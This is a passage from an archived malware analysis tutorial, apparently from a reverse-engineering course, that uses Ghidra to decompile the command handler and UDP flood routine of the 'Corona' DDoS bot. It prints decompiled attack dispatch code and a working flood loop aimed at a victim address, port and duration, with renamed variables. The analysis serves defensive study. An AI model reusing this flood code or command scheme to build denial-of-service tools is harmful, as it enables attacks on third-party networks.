vse_attack(pcVar3,(ulong)uVar8,(ulong)uVar9);\r\n _exit(0);\r\n }\r\n }\r\n iVar5 = strcmp(*command,enc_tcp);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 35 of 39\n\nif (iVar5 == 0) {\r\n if (3 \u003c i) {\r\n pcVar3 = command[1];\r\n uVar8 = atoi(command[2]);\r\n uVar9 = atoi(command[3]);\r\n pcVar2 = command[4];\r\n _Var10 = fork();\r\n if (_Var10 == 0) {\r\n tcp_attack(pcVar3,(ulong)uVar8,(ulong)uVar9,pcVar2);\r\n _exit(0);\r\n }\r\n }\r\n }\r\n else {\r\n iVar5 = strcmp(*command,enc_xmas);\r\n if (iVar5 == 0) {\r\n if (2 \u003c i) {\r\n pcVar3 = command[1];\r\n uVar8 = atoi(command[2]);\r\n uVar9 = atoi(command[3]);\r\n _Var10 = fork();\r\n if (_Var10 == 0) {\r\n xmas_attack(pcVar3,(ulong)uVar8,(ulong)uVar9);\r\n _exit(0);\r\n }\r\n }\r\n }\r\n else {\r\n iVar5 = strcmp(*command,enc_http);\r\n if ((iVar5 == 0) \u0026\u0026 (3 \u003c i)) {\r\n pcVar3 = command[1];\r\n uVar8 = atoi(command[2]);\r\n uVar9 = atoi(command[3]);\r\n pcVar4 = command[4];\r\n _Var10 = fork();\r\n if (_Var10 == 0) {\r\n http_attack(pcVar3,(ulong)uVar8,(ulong)uVar9,pcVar4);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n return;\r\n}\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 36 of 39\n\nWhen glancing over this function, one can get a clear overview of its structure. Using multiple string compare\r\ncalls, the given command is compared to multiple types of attacks. Below, a shortened version of the structure is\r\ngiven.\r\nif (strcmp(command, UDP)) {\r\n //Execute command\r\n} else if (strcmp(command, \"UDP\")) {\r\n//Execute command\r\n} else if (strcmp(command, \"STD\")) {\r\n//Execute command\r\n} else if (strcmp(command, \"VSE\")) {\r\n//Execute command\r\n} else if (strcmp(command, \"TCP\")) {\r\n//Execute command\r\n} else if (strcmp(command, \"XMAS\")) {\r\n//Execute command\r\n} else if (strcmp(command, \"HTTP\")) {\r\n//Execute command\r\n}\r\nBased on the amount of parameters that some attacks require, one can deduce that the size of the string array that\r\ncontains the command ranges between 4 and 9, including the command itself.\r\nThe easiest way to see what the value of the command fields are, one can analyse a function. A small one, such as\r\nthe std_attack function will provide information about the first three arguments. The code is given below after\r\ncomitting the locals and changing the type of local_48 from sa_family_t to sockaddr_in.\r\nvoid std_attack(char *pcParm1,uint16_t uParm2,int iParm3)\r\n{\r\n int __fd;\r\n int iVar1;\r\n void *__buf;\r\n time_t tVar2;\r\n time_t tVar1;\r\n char *pcVar3;\r\n long lVar4;\r\n char local_5c;\r\n sockaddr_in local_48;\r\n int local_2c;\r\n void *local_28;\r\n int local_20;\r\n int local_1c;\r\n __buf = malloc(0x400);\r\n __fd = socket(2,2,0);\r\n local_48.sin_family = 2;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 37 of 39\n\nlocal_48.sin_addr = inet_addr(pcParm1);\r\n local_48.sin_port = htons(uParm2);\r\n tVar2 = time((time_t *)0x0);\r\n while( true ) {\r\n lVar4 = (long)((int)tVar2 + iParm3);\r\n tVar1 = time((time_t *)0x0);\r\n if (lVar4 \u003c= tVar1) break;\r\n pcVar3 = (char *)((long)__buf + 0x400);\r\n iVar1 = rand();\r\n local_5c = (char)iVar1 + (char)(iVar1 / 0x46) * -0x46;\r\n *pcVar3 = local_5c + 0x1e;\r\n connect(__fd,(sockaddr *)\u0026local_48,0x10);\r\n send(__fd,__buf,0x400,0);\r\n }\r\n free(__buf);\r\n return;\r\n}\r\nBased on this, the first two parameters can be observed in a single glance. The first one is the address of the\r\nvicitm, whilst the second one is the victim’s port. The arguments can be renamed target_address and target_port\r\nrespectively. The local_48 variable can be renamed to socketAddress.\r\nThe socket is a AF_INET SOCK_DGRAM socket using the default protocol. The SOCK_DGRAM type is used to\r\nmake a UDP connection.\r\nThe rest of the function is given below.\r\ntVar2 = time((time_t *)0x0);\r\nwhile( true ) {\r\n lVar4 = (long)((int)tVar2 + param_3);\r\n tVar1 = time((time_t *)0x0);\r\n if (lVar4 \u003c= tVar1) break;\r\n pcVar3 = (char *)((long)__buf + 0x400);\r\n iVar1 = rand();\r\n local_5c = (char)iVar1 + (char)(iVar1 / 0x46) * -0x46;\r\n *pcVar3 = local_5c + 0x1e;\r\n connect(__fd,(sockaddr *)\u0026socketAddress,0x10);\r\n send(__fd,__buf,0x400,0);\r\n}\r\nfree(__buf);\r\nThe variabled named tVar2 is equal to the amount of seconds that have passed since epoch, and can thus be\r\nrenamed to currentTime. The variable lVar4 is equal to the current time plus the third parameter. After that,\r\nanother variable is set equal to the current time, this variable can be renamed to newTime.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 38 of 39\n\nIf the newTime variable is bigger than (or equal to) than the the first moment in time plus the value of the third\r\nparameter, the endless while-loop exits. Based on this, one can deduce that the third parameter is equal to the\r\nvalue in seconds that the attack should last. Therefore, the third variable can be renamed to attackDuration. The\r\nlVar4 variable can be renamed to finalTime.\r\nAfter that, the __buf variable is filled with random variables. The rand function was seeded in the main function,\r\nbased on the then current time and process ID. The random value is divided by 0x46, after which 0x46 is\r\nsubtracted. The value is then stored in the buffer, after which a connection to the target is made and the data is\r\nsent. The refactored code is given below.\r\nwhile( true ) {\r\n finalTime = (long)((int)currentTime + attackDuration);\r\n newTime = time((time_t *)0x0);\r\n if (finalTime \u003c= newTime) break;\r\n bufferPointer = (char *)((long)__buf + 0x400);\r\n randomValue = rand();\r\n subtractedRandomValue = (char)randomValue + (char)(randomValue / 0x46) * -0x46;\r\n *bufferPointer = subtractedRandomValue + 0x1e;\r\n connect(__fd,(sockaddr *)\u0026socketAddress,0x10);\r\n send(__fd,__buf,0x400,0);\r\n}\r\nThe other attacks will construct the request (or payload, depending on your definition and perspective) differently.\r\nGoing into those will be needlessly lengthy without adding much value to this article.\r\nConclusion\r\nOther attacks require more specific arguments, but the base line has been set, which allows the reverse engineer to\r\nget a basic understanding of the command scheme that is used within the bot. When analysing the logs of a hacked\r\nmachine that was used as a bot, it is now possible to understand which targets were attacked and how long the\r\nattacks took place.\r\nAdditionally, some core concepts of Ghidra have been explorered and used during the analysis. When working\r\nwith the correct data types, the code (be it disassembly or decompiled) is much more accurate. This leads to less\r\nmistakes and a quicker analysis while there are no downsides.\r\nTo contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.\r\nSource: https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 39 of 39",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/"
	],
	"report_names": [
		"corona-ddos-bot"
	],
	"threat_actors": [],
	"ts_created_at": 1775791309,
	"ts_updated_at": 1775791339,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b253faa9341790b039ee84bd0763882f68ace6a6.pdf",
		"text": "https://archive.orkl.eu/b253faa9341790b039ee84bd0763882f68ace6a6.txt",
		"img": "https://archive.orkl.eu/b253faa9341790b039ee84bd0763882f68ace6a6.jpg"
	}
}